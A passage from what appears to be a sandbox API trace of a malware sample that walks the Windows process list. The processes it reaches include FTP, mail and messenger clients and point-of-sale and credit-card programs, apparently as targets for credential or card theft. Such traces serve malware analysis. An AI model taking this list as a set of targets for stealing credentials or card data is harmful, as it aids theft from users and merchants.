pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.268] lstrlenW (lpString="taskeng.exe") returned 11 [0040.268] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0040.269] lstrlenW (lpString="judges-present.exe") returned 18 [0040.269] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0040.269] lstrlenW (lpString="physics.exe") returned 11 [0040.269] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0040.269] lstrlenW (lpString="belongs.exe") returned 11 [0040.269] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0040.270] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0040.270] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0040.270] lstrlenW (lpString="gadgets.exe") returned 11 [0040.270] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0040.271] lstrlenW (lpString="geneva.exe") returned 10 [0040.271] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0040.271] lstrlenW (lpString="elephant.exe") returned 12 [0040.271] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0040.271] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0040.271] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0040.272] lstrlenW (lpString="roger-venice.exe") returned 16 [0040.272] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0040.272] lstrlenW (lpString="cite.exe") returned 8 [0040.272] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0040.272] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0040.272] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0040.273] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0040.273] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0040.273] lstrlenW (lpString="artist_selecting.exe") returned 20 [0040.273] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0040.274] lstrlenW (lpString="poems.exe") returned 9 [0040.274] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0040.274] lstrlenW (lpString="bow.exe") returned 7 [0040.274] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0040.274] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0040.274] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0040.275] lstrlenW (lpString="businesses.exe") returned 14 [0040.275] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0040.275] lstrlenW (lpString="lucky.exe") returned 9 [0040.275] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0040.275] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0040.275] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0040.276] lstrlenW (lpString="healthmanner.exe") returned 16 [0040.276] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0040.276] lstrlenW (lpString="3dftp.exe") returned 9 [0040.276] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0040.277] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0040.277] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0040.277] lstrlenW (lpString="alftp.exe") returned 9 [0040.277] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0040.277] lstrlenW (lpString="barca.exe") returned 9 [0040.277] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0040.278] lstrlenW (lpString="bitkinex.exe") returned 12 [0040.278] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0040.278] lstrlenW (lpString="coreftp.exe") returned 11 [0040.278] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0040.278] lstrlenW (lpString="far.exe") returned 7 [0040.278] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0040.279] lstrlenW (lpString="filezilla.exe") returned 13 [0040.279] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0040.279] lstrlenW (lpString="flashfxp.exe") returned 12 [0040.279] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0040.279] lstrlenW (lpString="fling.exe") returned 9 [0040.280] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0040.280] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0040.280] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0040.280] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0040.280] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0040.281] lstrlenW (lpString="icq.exe") returned 7 [0040.281] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0040.281] lstrlenW (lpString="leechftp.exe") returned 12 [0040.281] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0040.282] lstrlenW (lpString="ncftp.exe") returned 9 [0040.282] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0040.282] lstrlenW (lpString="notepad.exe") returned 11 [0040.282] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0040.320] lstrlenW (lpString="operamail.exe") returned 13 [0040.320] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0040.321] lstrlenW (lpString="pidgin.exe") returned 10 [0040.321] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0040.321] lstrlenW (lpString="scriptftp.exe") returned 13 [0040.322] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0040.322] lstrlenW (lpString="skype.exe") returned 9 [0040.322] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0040.323] lstrlenW (lpString="smartftp.exe") returned 12 [0040.323] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0040.323] lstrlenW (lpString="thunderbird.exe") returned 15 [0040.323] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0040.324] lstrlenW (lpString="totalcmd.exe") returned 12 [0040.324] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0040.324] lstrlenW (lpString="trillian.exe") returned 12 [0040.324] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0040.325] lstrlenW (lpString="webdrive.exe") returned 12 [0040.325] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0040.326] lstrlenW (lpString="whatsapp.exe") returned 12 [0040.326] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0040.326] lstrlenW (lpString="winscp.exe") returned 10 [0040.326] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0040.327] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0040.327] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0040.327] lstrlenW (lpString="active-charge.exe") returned 17 [0040.327] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0040.328] lstrlenW (lpString="accupos.exe") returned 11 [0040.328] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0040.328] lstrlenW (lpString="afr38.exe") returned 9 [0040.328] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0040.329] lstrlenW (lpString="aldelo.exe") returned 10 [0040.329] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0040.329] lstrlenW (lpString="ccv_server.exe") returned 14 [0040.329] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0040.330] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0040.330] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0040.330] lstrlenW (lpString="creditservice.exe") returned 17 [0040.330] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0040.331] lstrlenW (lpString="edcsvr.exe") returned 10 [0040.331] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0040.331] lstrlenW (lpString="fpos.exe") returned 8 [0040.331] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0040.332] lstrlenW (lpString="isspos.exe") returned 10 [0040.332] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0040.332] lstrlenW (lpString="mxslipstream.exe") returned 16 [0040.332] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0040.333] lstrlenW (lpString="omnipos.exe") returned 11 [0040.333] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0040.334] lstrlenW (lpString="spcwin.exe") returned 10 [0040.334] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0040.334] lstrlenW (lpString="spgagentservice.exe") returned 19 [0040.334] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0040.335] lstrlenW (lpString="utg2.exe") returned 8 [0040.335] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0040.335] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0040.335] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0040.336] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0040.336] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0040.336] lstrlenW (lpString="notebook.exe") returned 12 [0040.336] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0040.336] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0040.337] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0040.337] lstrlenW (lpString="current.exe") returned 11 [0040.337] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.337] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.337] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, 